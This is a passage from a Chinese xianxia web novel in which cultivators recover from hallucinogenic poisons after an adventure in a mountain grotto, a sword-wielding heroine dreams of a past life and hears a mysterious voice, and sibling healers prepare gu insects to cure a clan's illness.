“大师兄?”映心并无挣扎和反抗,脸上的痛苦并未流露多少,透亮的双眼只是不解望着他,“你、你怎么了……” “……映心?” 明易只觉脑中轰鸣,浑身血液倒流,让他僵硬着不知所措也不敢动作;他这是做了什么?答案就在眼前,可他完全不能相信,迫切地希望这一切只是梦或是幻觉——他怎么可能伤了映心? “大师兄……”映心似乎是看他走神,于是又叫了声,苍白的唇色被溢出的鲜血染红,她的眸光渐渐失去焦点,浑身无力地就要瘫倒在地上。 明易压根没回过神来,但下意识冲上去抱住了她,瞅瞅插在她胸口的剑,又瞅瞅她脆弱的神色,满脑子混乱:“映心……你没事吧?我马上带你回宗门……” “大师兄……”石映心问,“为……为什么……” “我没有想杀你,都是误会。”明易感到脑子抽抽的疼,每一抽都阻扰着他的思绪和判断,他飞快地解释了一番,但时不时又想到“这真的是映心吗”,一时不能多言,可这会也没办法让怀中的伤者自证身份。 怎么办? 情况怎么会变成这样……头好痛……哪里都不对劲,可究竟是哪里呢?明易眉头深皱,百思不得其解。 “大师兄……你说……为什么……” 明易:“之后和你解释。” “大师兄救我……” 明易:“放心,你不会死的。” “好疼啊……” 明易:“你歇会,不说话就不疼了。” “……你到底救不救我?” 明易:“我在想办法。” “……” 屠芜撑着虚弱乏力的身子一点点爬出转角,警惕地感受了一下外界的动静之后,犹豫着扯掉了眼纱,看清眼前的景况后先是松了口气,而后又迷惑地皱起了眉头: 蛇妖不见了是好事,但为何……明道友抱着一块人形石头在喃喃自语啊?而且这石窟中乌漆嘛黑的,那天光……她抬头望去,惊奇地发现原先的裂缝被一大团由石头凝结成的冰块堵住了。 她在昏迷的时候都发生了什么? “明道友……”本想偷摸爬行的屠芜见似乎没有危险了,便变出一根拐杖,强撑着自己站了起来,一步一步走向明易,“明道友,你在和谁说话?” 对方压根没有注意到她,嘴里一直嘀咕着什么“你不会死的”“我想想办法”“别说话了歇会”……这样莫名其妙的话? 屠芜转到他正面,这一看却是一惊,明道友的一双瞳孔放着浓亮的绿光,甚至投射到他怀中的石头上还能落下两个明晃晃的绿点——老天奶,这一看就是中巨毒了,并且毒素深重还不止一种! 最重要的是这毒一看就是出自她们药神谷之手,如果不是她昏迷时做了蠢事,就是她哥……完了,完了完了! 不过明道友的修为在她们之上,怎么可能这么轻易地就被下了这么重、这么多的毒呢?瞧这都眼冒绿光了…… 屠芜一时不知该感叹罪魁祸首下手之狠毒还是明道友钢铁意志之顽强。 ……好了现在重点不在这里,重点是如果明道友出事,她和屠莱都要完了! 思及此,屠芜颤抖着手拿出储物袋,一下子变出十几颗大药丸,目前她没力气仔细探究对方中了什么毒,只好全让他吃了先! 屠芜把药递上:“不管如何明道友你先把药吃了!” 明道友没瞅见她但瞅见了她手中的药,于是拿过了一粒,递给了怀中的石头:“……对,吃药,你先把药吃了。” 屠芜:……别说还递得挺准的,正好在人形石头的嘴边哈。 “明道友!”屠芜只好也把药丸送到他嘴边,“我让你吃!” 明道友垂下眼眸,视线触及了被递到他嘴边的、不可忽视的大药丸,不紧不慢地抬起一只手……一掌将那只手捏着的药丸以及那只手的主人击飞了。 “啊——” 屠芜猝不及防地被拍飞到一边,本来她就刚恢复没什么力气,这一下是飞得又高又远;整个人被砸到一块大石头上,惨叫一声后滑了下来,咳咳几声就开始吐血,流出疼痛泪水的眼睛看向依旧抱着石头喃喃自语的明易,心里大无语: 中毒至深力气还这么大,剑修真讨厌啊啊啊!! “咳……咳咳……”她擦擦泪水又擦擦嘴边的血,顽强地给自己先喂了一颗大补丸,好险没被自己的血呛死。 真是给她遇上救人反被咬一口的情况了。 可她还偏偏不能不救。 屠芜这下是连撑着拐杖的力气都没有了,于是便打算用老办法爬过去,没爬两步忽然听见有沉重的脚步声传来,心惊地抬头望去—— 石窟转角处出现了一个乌黑麻漆的人影,浑身湿漉漉的非常狼狈,头发乱七八糟地遮住了脸,感觉像是被人追杀的逃犯。 如果此人是来寻仇的,屠芜是完全没办法了。她只能张了张嘴,怀了些希冀地问:“你……你是谁?” 逃犯把遮面的黑发掀开,露出一张脏兮兮的脸:“你哥。” 屠芜:0.o? “到底发生……什么事了?” “好问题,”屠莱一瘸一拐地走进来,“我也想知道。” “你脚怎么了?” 屠莱呵呵:“没什么,就是淋着雨被狼追的时候为了躲野猪不小心被蛇咬了一口,左腿差点坏死。” 屠芜:…… “我原以为你们这里的情况会比我好些。”屠莱深呼一口气,望向神志不清的明易,环顾一周后发现消失了三人,惨淡一笑道,“看来我还是幸运的。” “别说这些了,”屠芜朝他伸出手,“快把我扶起来,明道友中毒了,得赶紧治好他!” 屠莱将妹妹扶起来,瞅了瞅眼冒绿光的明易,又看向妹妹道:“你下的毒手?” 屠芜:“我还以为是你呢!” 屠莱挑眉:“不是我俩是谁?这里就我们二人会药神谷的毒术。” “我怎么知道……现在情况一团混乱,映心她们也不知道去哪了……唉,你也别问了,赶紧先给明道友解毒,他要是出事了我们都得完!” “好。” “诶,小心,”屠芜紧忙拉住就要凑过去打量明易情况的哥哥,“他虽然中毒了,但警惕性还在,方才就把我打飞了,可怕得很!” 屠莱便收回了手:“行,那我先将他迷晕。” “……又毒?” “瞧他这样,反正也不差这一种毒了。” 那说的也是哈。 屠莱将明易迷晕,和妹妹一起艰难地将他怀中的石头扯了出来扔到边上,无语地擦了把汗:“他到底以为这是什么,居然抱得这么近!” 屠芜也是大喘气:“方才还要给它喂药呢!” 二人又气又好笑,缓过气后干脆直接坐在地上,一人拉过明易的一只手为他探测经脉,这一探又吵起来: “屠莱,这是你蛊毒!” “吵什么,不也有你的毒吗?” “这层又是你的毒!” “看仔细了,这边还有你的!” “你的最毒。” “你的毒比我多。” …… 兄妹探得冷汗淋漓,感觉全是罪证。屠莱意味深长地看向妹妹:“没想到你偷养蛊虫就算了,还偷学了我这么多蛊术……” “你胡说什么,”屠芜抖着嘴角扯起一个冷笑,“我哪有这么大的神通,分明是你下的手吧?” 屠莱呵呵:“搞笑,我一直在和恶狼野猪毒蛇周旋,好险没死在外头!等来到此处就是见你一人还清楚地醒着。” 屠芜不以为然:“我昏迷了许久,一醒来明道友就是这模样了,先前发生了我压根不清楚,谁知道是不是你下毒手后又逃出去故意把自己弄得这么狼狈?” 屠莱:“我要怎么信你?” 屠芜:“你又有什么证据?” “除了你还有谁会药神谷的功法?” “不是还有你吗?这些蛊术我压根没学过,我连蛊虫都是偷摸养的,哪里有机会学你们蛊修的法术!?” “谁知道,你可有本事了。” “我是有本事,但这不是你污蔑我的借口!” 屠莱:“啧,先救了明易,之后找你算账。” 屠芜:“找我算账?我看是找你吧。” “某人的蛊虫还在我手上,你猜师父和谷主站谁这边?” “你不许告诉他们!” “呵呵。” “喂,屠莱!” 砰—— 咔嚓—— 第243章 就在二人吵得发了狠忘了情不知天地为何物之时,猛然听见上头传来一声巨响,还不等她们看清情况,先是感到了砸到脑壳上的冰块,那叫一个疼啊!抬眼望去,天上怎么下起冰雹了!? 二人皆是一惊,连忙抬着明易闪到边上,眼睁睁地就见原先堵着裂缝的那一大坨冰块就这么被震碎成无数的冰碴子砸落;一束束天光从细缝中挤进石窟之中,再次带来了冷冽的光明。 轰! 随着冰块完全消散,罪魁祸首也飘飘然出现了—— 左手一只二师兄,右手一只小师妹,身上背着帝血剑的石映心从天而降,茫然地环顾四周后,和角落里灰头土脸的二人成功对上了视线。 “屠芜,屠莱?还有……大师兄?” 剑修拎着师兄师妹二人像拎着鸡鸭一般轻松,她的视线从某二人的脸上越过,停在昏迷不醒的明易身上一会后,又回到了他们身上,语气非常平静地问了一句:“我大师兄怎么了?” 屠家兄妹:…… 不知道该从哪里解释起,但她们真的是无辜的啊! * 石映心看了看边上依旧在昏迷的二师兄和小师妹,再看向边上正在打坐的三人:屠芜他们说大师兄中毒很深,单独喂解药是不行的,必须施展药神谷的解毒术;于是兄妹二人开始齐心协力给大师兄输送灵力帮他解毒,灵场之中,三人皆是脸色苍白。 瞧着情况很严重。 她不知道大师兄发生了什么……其实也不知道二师兄小师妹发生了什么,只记得自己做了一个很长很长的梦,醒来时便看到了昏迷在她边上的二师兄和小师妹,她就带着二人出来了。 结果一出来,大师兄也中毒昏迷了。 她们都着道了,包括现在看起来没事人一般的屠芜和屠莱,当然还有她自己,所有人都在不知不觉中掉进了陷阱;回想起来不对劲的地方确实太多,甚至不知道是从哪里开始。 菌子暖锅?还是那场雨?亦或是姬源给的那块石头……难不成…… 石映心想到自己刚进罗宝山时在脑中听到的那一下震荡心灵的钟声,难不成从她们进入罗宝山的一刻开始就已经掉入陷阱之中了吗? 呼…… 石映心轻轻吁了口气,坐在地上有些走神;时不时抬起眼来看看解毒三人组,又看看昏迷二人组,悄无声息地闭上了眼睛,没过多久又睁开,抬头看了看倾泻天光的裂缝,视线似乎落在那带着浮光飘扬的灰尘上。 她忽然站了起来,看向大师兄的方向张了下嘴,但瞧见三人状态都不好,想了想还是没吱声,自顾自地就往上飞去,再次消失在了缝隙之中。 闭着眼睛的屠莱眉头又皱深了一些,传密音给妹妹:“石映心要做什么?” 屠芜紧紧咬着后槽牙:“不知道,现在管不了这么多了!” 石映心打算去找光源。 方才她在缝隙中醒来时,也是待在一个类似石窟的隐秘窟窿中,里头明晃晃一片,除了光什么都没有,但似乎有可探究的空间;只是当时二师兄小师妹就昏迷在眼前,她又担心大师兄的情况,来不及多想便出来了。 可她始终觉得这天光很有古怪。反正这会闲着也是闲着,那就上去看个究竟! 一路畅通无阻地飞到了先前醒来时的窟窿,石映心被里头的光照得微微眯起了眼睛。她左右看了看,在几乎没什么差别的石壁上瞧见了一个被光隐藏的洞门,走进一瞧,有一条左右贯通的走廊。 往哪走? 她本应不知道的,但莫名有些直觉,毫不犹豫地往右边走去。这条走廊很窄,肩挨着肩挤着走也只能一同走两人;分明是如此逼仄的空间,但应太过光亮,亮得神秘,亮得诡异,就引发了人无限的瞎想,觉得此处无穷无尽。 讨厌乌黑麻漆鬼屋的曾换月也会讨厌这个地方的,若她在这,便会感到和未知的黑暗相似的恐怖。 但石映心不觉得恐怖,也没感到什么危险;刺眼的光亮并不刺伤她的眼睛,渐渐攀升的温度也没让她觉得燥热。 她现在是什么感觉呢?有些像小时候刚入门,师父教她引气入体时,她感应到归壹派充沛富饶的灵气将她笼罩起来,像躺在师父怀中那般温暖,浑身上下每一处都收到了温柔的滋养。 可这样的感觉是不常有的,大部分人只在入门修炼引气入体时,因为先前只是凡胎肉身,头一回吃上好的,所以才有这样新奇的舒适;成为修仙者之后,身体会渐渐习惯这种运用灵力的感觉,再汲取灵力时便没有这么充沛的被滋养的感受。 如果想再体验一把,要么得到什么富含灵力的灵丹妙药或是珍贵宝器,要么就是像石映心这样,来到一个灵气充沛的地方。 不过……奇怪的是,先前她说这是“灵光”,屠芜却问哪里有灵气;大师兄他们似乎也没发觉光中蕴含的力量……难道只有她能感应到吗? 好烦,怎么问题这么多,每个都想不明白。 思酌间,石映心来到了一个洞门边上,她望了望前方瞧着无穷无尽的走廊,又瞥了瞥边上被光掩饰着里头景况的洞门,只觉不该进去。 于是继续往前走,这么走了好一会,路过了好多个洞门,每个都瞧不见里头,但她也不知道为什么知道这不是她要进去的地方;就在她疑心是不是压根没有尽头的时候,“该进”的洞门出现了。 石映心停住脚步,忽然感到自己的心在跳动……当然平时也跳,只是这会跳得格外有存在感,仿佛她的心脱离了她的掌控,独自兴奋着。 石映心按了按不安分的心,脚尖一转进入了洞门之中。 一阵什么也瞧不见的光亮之后,镜灵睁开眼来,瞅见了里头的模样:石窟,就像普通的石窟;但和其他罗宝山石窟有些不同,乍一看很简陋,仔细一看也很简陋;一眼就能看尽的小窟窿中,并没有一座精雕细琢的石雕。 那么这座石窟供奉的是什么? 石映心走到正中央,瞧见了本应该供着石雕的莲台上竖着一个……不对,半个椭圆?中央刻着一个凹槽,像一道只开了一个缝隙的门。 这是什么石雕? 不,实话实说还没到“雕”的程度,明明就是一块平平无奇的、顶多被打磨得圆滑一些的大石头吧? 话虽如此,但你若告诉她:这藏在罗宝山之中、帝女石窟之上,隐秘裂缝之间还要走个半天、越过无数障眼洞门才能找到的石窟只是个平平无奇的玩意,就算是石映心的头发丝长了脑子也不会信的。 那么…… 石映心直勾勾地盯住那石头上黑乎乎的缝隙,清亮如镜面的双眼一眨也不眨,似乎在斟酌着要不要掉入这堂而皇之的陷阱之中。 偏偏这便是眼前唯一能走的路了,世间多的是这样折磨人的事。石映心想,凡人好像管这样的陷阱叫命运。 镜灵眨了眨眼睛。 与此同时,在无人在意的角落,早已无人在意的因果牌忽然闪了闪;不过多久,随着灵光逐渐暗淡,上头雕刻的字迹也在默默消散,因果牌再次陷入了沉寂。 * 轰—— 轰——轰—— 轰——轰——轰—— 要不是被落石砸中了脑门,精疲力竭到神志恍惚的屠芜还以为只是打雷呢。她疼得睁开眼,才恍然发觉整个石窟都在震荡之中;四周乌漆嘛黑一片,只有她和屠莱为治疗明道友形成的灵场在莹莹发光。 这又怎么了! 此时她哥也睁开了眼,飞快地打量了一下情况,着急道:“糟了,快走!这山要塌——” 屠芜也有这样不妙的预感,撑着发软的双腿要站起来:“映心还没回来!” “别管她了,”屠莱将明易扶起来,“我看这八成就是她做的好事!” “可是……” 砰! 随着一块大石头掉下的还有掐点回来的石映心,她扶了一把差点摔倒的屠芜,道:“小心。” 屠芜瞪大眼睛:“你……” “先出去,有什么事之后再说。”石映心飞快道,“你还走得动吗,我背你?” “我没事,”屠芜尽量让自己混乱的脑子镇定下来,“你去照顾换月她们就好。” “好。” 石映心拎起二师兄小师妹,又看了眼在屠莱背上的大师兄,想了想还是没和他抢,只是将小师妹挪到了背上,一手拿剑在前边为她们开路,时不时还贴心地回头拉兄妹二人一把,以防二人没跟上。 很快她们便逃出了帝女石窟所在的山,石映心立刻御剑:“此处不能久留,我们先回螺族。” 屠芜气喘吁吁:“可是……你忘了……这里很多地方……禁飞……” “没事。”石映心没多解释,只是面色稳重,声音笃定道,“现在没事了。” 屠家兄妹:OO? 实在是累得要死,压根没力气多问了,二人只好跟着上了剑;瘫在剑上时还忧心会不会突然因为禁飞而掉下去呢,那真是要死了;但正如石映心所说,一切都没事,她们居然一路顺风地飞回了螺族。 至于那座山,在御剑飞行时的屏障之中只听得见轰然倒塌的震天动地之声。回头望去,一片雾蒙蒙的山色,宛若隔世。 第244章 螺城。 御剑将几人送到金虫的院中,石映心将小师妹和二师兄小心放在了地上,这一弯腰就没起来,一言不发地顺势倒在了地上。等屠家兄妹二人回头望去,就见倒在地上不省人事的师兄妹三……哦,加上明易,就是四人。 金虫听到动静打开门来,瞧了瞧脸色疲累苍白得和死人也差不多的儿女,先是松了口气:“活着就好……活着就好。” 又看向地上四人,皱起眉头后很快松开,挑眉道:“喂喂,不要在别人家院子里随地大小睡啊。” 她差点以为都死了呢。 “娘,”女儿叫了她一声,声音虚如风,“劳烦你安顿她们,还有……” 话没说完就倒在了她身上,金虫抱着女儿诧异地看向儿子,却见他靠着门闭着眼睛,也已经不省人事了。 金虫:…… 搞什么呢。 * 石映心不知道自己睡了多久,其实她压根不算是在“睡”,而是一直在做梦,梦的主要内容就是重复她在帝女石窟裂缝中所做的那个梦的内容,做完一次再做一次,做完一次再做一次…… 没完没了。 第一次做完梦后她来不及思考,本打算回头再琢磨,但现在做了这么多这么多这么多次,就算是不想琢磨也在无数次的梦中搞明白了。 原来这梦里的一切都是她的前世。 她在罗宝山石窟中频繁地出现异样,是因为此处前世和她有缘;发出天光的石头是和她同时期的上古神石,因此她能感应其中的灵气……并且对方似乎也迫切地想要扑向她? 至于梦中的人物,目前看来,出现的“明易”和“顾不醒”是她现世的大师兄和二师兄;这二人暂且不重要,重要的是旋娉,以及她最后启动的换月阵法……换月阵法难道和她师妹“换月”有关系吗? 不知道,之后发生了什么,不管做多少次梦都梦不到。 迷途走到尽头只差最后一段,也是最关键的一段,可她偏偏梦不到;因此怎么也走不出来,就这么堵在心口卡着喉咙,实在难受。 石映心醒来,一点没有睡了七日七夜的满足,只有满满的疲惫,感觉还不如不睡哈。她撑着身子坐起来,屋里很亮堂,外头是白日,恍惚间听到几声轻快的鸟叫和扑翅声,好似一切寻常。 神智渐渐清明:不知道换月她们怎么样了? 想到这,石映心果断下床离开了屋子,打算去另一边换月的卧房看看;一推开门心便凉了一半,因为床榻上躺着人,正是依旧在昏迷的曾换月。 石映心走去床榻边上打量了师妹一会,看她面色还行,只是有些愁眉苦脸?探查经脉后也没发现什么大问题,就是有些郁闷淤堵……和她的心情有些像?看来应该不是危及生命的问题,去问问屠芜她们好了,实在不行就抓紧时间回宗门找师父…… 帮师妹擦去额上的汗珠后,石映心又出门打算去看大师兄和二师兄的情况。 凑巧的是,一出去她便在院中看见了正在浇花的金虫,对方见她来了,手上动作一顿,说话前先开始动着眼珠子把她打量:“你醒了?你知道自己睡了多久吗?” 石映心想了想:“七日?” 金虫便有些惊讶:“你还真知道。” 石映心问:“金姨,我师兄他们情况如何?” 金虫瞥她一眼,继续浇花:“你是你们四人中醒得最早的人。” 她睡了七日还是醒得最早的一个?石映心心一沉,不得不有不妙的预感,她自觉自身正是做梦,并没出什么事,那么换月她们究竟发生了什么? 金虫见她脸色变了,面上很明显地浮现了忧愁,便好心解释道:“你们四人……哦,加上我家两个,都中了罗宝山的迷毒。” “迷毒?”石映心一愣,“那是什么?” “好问题,我也想知道。”金虫一耸肩,“你们定是去了地图上未知的地域,故染上了我也闻所未闻的毒;好在此毒不伤及性命,只是会让你们神志不清、出现幻觉。小芜她们同我说了那日的情况,我推测是和当晚下的那场雨有关。” “不过你大师兄他们至今昏迷不醒应是淋雨后遭遇了什么,具体原因我也还未查明,应不是中毒;毕竟显而易见,这雨只是一个引子罢了。” 石映心倒是不意外这个答案:“果然是那场突如其来的雨……” “话又说回来,你们、尤其是屠芜她们竟然也没有察觉,真是不应该。”金虫轻哼一声,有些挑剔道,“动脑子想想嘛,万物都要依靠雨水生长,滋养石窟中那些稀奇花草虫蛇的雨怎么会是普通的雨?” 石映心听她这么说才恍然:“是哦……但只是因为那场雨吗?” 金虫悄然瞅她一眼,又转回了视线:“若不是你们倒霉撞上了雨,难道是有谁身怀呼风唤雨的本事?” 她说话的语气很随意,但石映心却若有所思地看了看金虫,又看了看她前面淋雨的花草,微微颔首道:“也许确实是我们倒霉吧。金姨,屠芜她们还好吗?” “那俩好得很,”金虫哼笑一声,“睡了两日就生龙活虎了,说是找到了石破花,一醒来就要修炼制药。” 石映心也松了口气:“我想去看看她们。” 金虫微微摇头:“还是叫他们静心修炼吧,我估摸这六七日下来也快了,你就安生休息会;我瞧你这睡了七日 七夜怎么脸色这般差呢?待会姨给你煮点补药喝哈。” 补药?“不必了金姨,我……” “病人就不要推三阻四了。” “哦……多谢金姨。” 和金虫聊完,虽然得知大师兄和二师兄都没醒,但石映心还是去瞅了眼,二人昏迷的状态和换月的情况很像。就是大师兄格外狼狈些,身上还有些伤口,应是出自“假屠芜”……也就是旋娉之手。 旋娉。 想到这个名字,石映心的心又沉了沉。这几日她都不知道心沉多少回了,怕是真要沉到肚子里去。 太烦了,主要是想不明白,于是她不愿再想。转头望见窗外的日头很好,便打算出去晒晒日光散散步。在外边绕着金虫的大屋子走了没一会便感觉浑身暖洋洋的,心情也好了一些,脸上渐渐扬起了一些笑容…… “舒服。” 石映心猛地睁开眼,眼前是湛蓝的天空,余光被刺眼的日光照透。她左右环顾一下,当然没有一人。 “今日的日头不错。” 石映心:←← “走什么,搬个躺椅来躺着不舒服?” 石映心:→→ “我看你身子还有些虚,还是别歇着了,坐下修炼最好。” 石映心:个_个 “喂,小镜子……” 她脚步一顿,紧接着飞快地跑了起来,越过金虫奔进屋中将门窗紧闭,顺便还把帘子都拉了起来,确保屋里晒不进一丝日光。 呼……呼……她喝了口茶水,摸着跳动的心脏抿住唇,就这么一动不动着好一会,直到心跳平复了,呼吸平稳了,耳边也没再听到任何声音后,这才长长松了口气。 幻觉。镜灵心想,她估计是迷毒还没解干净…… “什么?” 这会金虫来给她送药,闻言一脸迷惑道:“你说你幻听了?” “嗯,”石映心一口干完苦涩的补药,脸色都被苦得抽搐了,“金姨,劳烦你再煮点解幻听毒的药给我吃。” “啊?”金虫拿过她的手腕探了探,“不对啊,你身上分明已经没毒了。而且你是元婴期的修为,这种毒过几日自己也能周转清理干净……奇了怪了。” 石映心抬起眼来,自己也很不解:“难道是……我体内有蛊虫?” “自己吓自己,”金虫失笑一声,“我看得比你分明,你身上没有毒,也没有蛊虫。” 石映心抿了抿唇:“算了……先喝点药吧。” 金虫:“药怎么能乱喝?是药三分毒。我看你啊是太累了,今晚先别多想,好好睡一觉,指不定明早就好了。” 医师不开药,石映心也没别的办法,只好先应下。应了后又忧愁地说:“可我近几日也睡不好……” 毕竟是和自己孩子差不多大的姑娘,金虫见她这般可怜,怜惜道:“行行行,我给你煮一副助眠安神的药来,保你今晚好眠。” 石映心喜笑颜开:“多谢金姨。” 喝了药后,她今晚果真睡个好觉,起码是没做梦了。第二日醒来时神清气爽了许多,还一起和金虫用了早膳。金草和戴翠衣有事回去了,早膳是金虫自己做的米线,味道也很不错。 吃完早膳,金虫问:“你可感觉好些?还有幻听吗?” “没有了。” “那就成。我看你闲着也容易瞎想,不如帮我去院中给那些花草捉些害虫?” “好。” 捉害虫是个好活,这种不需要动脑不需要技术含量但需要专心致志的简单活计最适合在胡思乱想的时候转移注意力了。 石映心戴上金虫递来的大草帽,几乎遮住全脸的面罩和一双厚实的防叮咬手套,拿着一个镊子蹲在花圃边上夹害虫。这还属于细致活,毕竟那些害虫都非常细小,而且爬得也快,一溜眼珠子等它隐入枝叶下就不好找了。 一开始夹的时候石映心还很生疏,好在很快便得心应手起来,越夹越上手,并且非常有成就感。时光就这么匆匆流走,一点也不可惜。 夹着夹着,石映心居然想起了正事,取出金花仙尊的清单册子放在边上,夹一只虫子就翻来覆去地找一找,没想到还真给她抓到了几只册子上需要的害虫,也算是意外之喜了,等二师兄醒来他肯定很高兴。 第245章 又夹到一只新的。 石映心一边看镊子上的虫,一边飞快地翻动着册子寻找,她感觉这只虫子的丑模样好像是有见过的……在哪一页来着…… “你在做什么?” 石映心翻页的手指一顿。 “这是什么玩意,好丑。” 石映心抬眼看向镊子上的害虫。 “喂,大好的时光就这么浪费在这种事上吗?不如修炼。” 石映心:OO “啧,我说你啊……” 石映心咻地跳了起来,转身跑回了屋里。 “什么?” 金虫看了看递到她眼前的、在镊子中挣扎的害虫,又看向石映心:“你说这只虫子会说话?” 石映心迟疑地点了点头。 金虫:“你又幻听了?这次有进步嘛,起码有个对象。” 石映心:“是吗?” “……不是。”金虫叹了口气,接过她手中的镊子,“去休息吧孩子。” 石映心卸下捉虫装备,一下午的好心情都没了,脚步沉重地走到门边,转头问道:“如果不是幻听……是什么呢?” 她这么问,金虫也是一愣。对啊,如果不是幻听是什么呢?难道真是有人在她身边说话?还是只虫子? 有些荒唐哈。 但若不是这么荒唐的原因,又是什么呢?只怕是更可怖的…… “别多想了。”金虫朝她笑了笑,“回去休息吧,也许是捉虫子捉太久,所以累着了。” 石映心“嗯”了一声,转身出了门。 金虫瞅了眼满篓子的害虫,无奈地笑了笑;笑着笑着又叹了口气,心说不管如何,她也只是一个凡人罢了,这些修仙者的事……她又如何掺和呢? 第三日早上。 石映心昨晚睡前动了动脑子,觉得听到幻觉是有些规律的,大概是在……晒太阳的时候会幻听?昨日下午日头大的时候她带着草帽,一直没有异样,后来日头小了,她又觉得头闷,才把草帽摘了下来,没过一会就幻听了…… 为了验证这个规律,她去找金虫借了伞来,将自己裹得严严实实,保证晒不到一丝日光,就这么在院子中走了半个时辰——没动静。 接着又不撑伞试了试,才走了没半刻钟,就听到那个声音: “蠢物,你到底在干嘛……” 果不其然! 石映心兴奋地跑回了屋内,长长地吐出口气,庆幸自己发现了规律。既然暂时解决不了她,那么就先别让她出来。 嗯,先这么着吧。 后来金虫问她怎么样了,石映心便说:“没再听见了。” 金虫疑惑道:“那么前两日是怎么回事呢?” 石映心平静地说:“可能就如金姨你所说,太累了。” 金虫盯了她一会,点点头道:“对,是,人不能太累,太累要出毛病的……映心,你要吃米线吗?” “吃。” 就这么过了平安的两日之后,屠家兄妹出关了。 二人是一同合作的,她们先是炼制了不死之药试手,之后又炼制了说是可以解螺族女子怪病的解药……当然,事实上有病的是男人。知情者是知情的,不知情者例如金虫,就很稀奇地打量起兄妹俩手上青铜盒中的那两只蛊虫: “这就是能解怪病的解药?两只蛊虫?” 屠芜点头:“对。” “你对什么对,”金虫忽然瞪了她一眼,“你偷学蛊术的事我还没找你算账!” 屠芜:…… 她便只好转瞪向她哥,不高兴的语气中又听得出一些得意:“可要不是我偷学了蛊术,这几日怎么和屠莱合手炼制蛊虫呢?炼制这两只虫要一阴一阳二气,可屠莱身上只有阴气。” 屠莱:→→ 确实是这么回事,所以他没话说。又不能不炼制蛊虫改炼制丹药,那螺城这么多人,就姬源给她们的那滴眼药水哪里够用? 金虫闻言,默然瞅了瞅儿子,又看了看女儿,瞧着非常欲言,但还是止住了:“总之我也不是你们师父,这事不归我管!屠莱,你回去好好和落叶长老商量怎么教训这丫头。” 屠芜:“娘!” 屠莱立刻应下:“必然。” “这两只蛊虫要怎么用?”见她们说完话,外行人石映心适时发言,“为何是两只?难道要配合使用?” “不错,正是要配合使用。”屠芜点头。 “怎么用呢?” “这个……”屠芜想不明显但很明显地瞥了眼金虫,“说起来复杂,到时候你陪我走一趟就知道了。” 石映心瞅出她的心思,又瞅了眼知情但没吱声的屠莱,虽然不知道这兄妹俩有什么打算,但还是配合地点了点头:“好。” 金虫将三小孩的小眼神都看在眼里,但并未戳破,哼哼笑了一声道:“若你们能解了这怪病,那可是大功一件啊,真不知道螺族人该怎么感谢你们。” 屠芜嘀咕了一声:“是啊,估计要恨死了……” 金虫挑眉:“什么?” “……没什么。” “你放才说恨你们,这是何意?” “……” “妹妹的意思是,”屠莱冷静解释,“大恩如大仇,我们可不敢居这么大的功劳。解决族中的怪病一事,不过是我们身为药神谷的弟子以及螺族人应该肩负的责任。” 屠芜:“我也是这么想的。” “哎呦。”金虫诧异地笑了一声,“说什么不敢居功、肩负责任……我居然能从你们嘴里听到这样的话,我的孩子真是善良到令娘发指啊!” “不是善良。”屠芜渐渐正色道,“我们只是在行公平之事。” 金虫看看女儿,又看看儿子,最后只是耸了下肩笑道:“行,都随你们。” 屠芜:“真的都随我们?” “嗯嗯嗯。” 屠芜:“那娘你赶紧收拾收拾,过两日就随我们离开螺城。” 金虫:“啊?” 所以这些让人不省心的家伙到底想干嘛! 在金虫忙忙碌碌开始收拾行李的时候,石映心总算能和这二人私下说话了:“屠芜,屠莱,我师妹师兄他们究竟出了何事,为何到现在还没醒来?” 屠家兄妹对视一眼,纷纷摇了摇头,将那日她们醒来后发生的事详尽告知:“我们也只知道这么多。目前只能确定明道友当时确实进入了幻觉,而且是在多种毒素的作用下才导致他神志不清。” 石映心:“是什么毒?” 屠芜嘴巴一抿,还是松开了:“……实话和你说,好像都是我们药神谷的毒。” 石映心便道:“既然如此,去你们药神谷便能将毒全解了是吗?” “理论上来说是这样的,其实我和屠莱当时也帮他解了一些,但由于他中的毒太多太杂,我们当时又没什么精力了,所以事倍功半……”说到这,屠芜小心地看向她,“你不怀疑是我们下的毒吗?” 石映心摇摇头:“不怀疑。” 她当然知道下毒的人是谁。 屠莱:“当时只有我和小芜两个药神谷的弟子,而且我们也神志不清地昏迷了很长一段时间……” 石映心淡定道:“我相信你们。” 轻飘飘几个字,这可把二人给感动坏了,连她们自己都不相信自己呢!连忙保证一定会把明易身上的毒全解了。 石映心微微颔首:“那我二师兄和换月的情况……” “其实我们后来也查看过二人的情况,”屠芜露出苦恼的表情,“结果什么都没发现……我想等过两日回药神谷,便请师父和谷主来看看。” 目前也没有更好的办法,只能先这么着。 石映心轻轻叹了口气,又问:“那么那两只蛊虫是怎么回事?真的是能解决后遗症的解药?” “额,算是吧。”屠芜笑了笑。 石映心见她的笑容,并不委婉地问:“我记得在帝女石窟之中,你分明说不想让罪魁祸首这么轻易地大病痊愈,得来全不费工夫……当时我还以为你不会炼制解药,而是要揭开真相,怎么现在变了主意?” “本来我是这么想的。”屠芜道,“不过后来我问我娘……如果我真的炼制出了能解怪病的解药,能改变什么吗?娘说能解些皮肉之痛,其他的便不用多想了,该二十嫁人的还是会嫁,该戴面纱的还是会戴……” 【为何会这样?难道不应该是……有更多的螺族女子走出螺城,去追求自己的梦想吗?】 【这只是你自己的梦想,你看看已经走出螺城的翠衣,她不也毅然决然地回来嫁人了?你解得了她们的毒,解不了她们的心病,解不了她们麻木的传承和愚昧的信仰。】 【可是……】 【人人害怕蛊术,因其可控人心魄,将麻木的传承做甘之如饴,将愚昧的信仰当虔诚忠心,渐渐地她们找不到真我,以为束缚是亲手选择的自由……这便是蛊术的可怕之处。】 【……假使……如果……她们压根没有中蛊毒呢?】 【你以为世上最毒的是蛊毒吗?蛊毒尚可被发现,还算有得救;可有些毒,一旦染上便是无可救药,甚至无知无觉,谁也发现不了,以为自然。】 【如此可怖,那是什么?】 【潜移默化。】 “医师可解毒救人,却不能医治人心,因此可控人心的蛊术让人避之不及。”屠芜看着手中的青铜盒子,语气平稳沉着,“娘说得对,被蛊术操控着尚且得治,潜移默化者却无救。可我就想试试……能否用残酷的真相击碎一块风平浪静的伪装。” 石映心明白她的决心,心生感触地颔首道:“好,我会帮你。” “完了,”屠莱在边上冷笑了一声,“我们要成为螺族不可饶恕的罪人了。” 石映心挑眉看他:“你害怕?” 屠莱撇嘴:“怕啊,怕半夜鬼敲门。” 石映心道:“原来你觉得自己是在做亏心事。” “也不算吧。”屠莱不自在地挠挠下巴,“只是哪怕心里知道是为了公平正义,但……打破原来平衡的、看似稳定美满的局面就会叫人感到不安。” 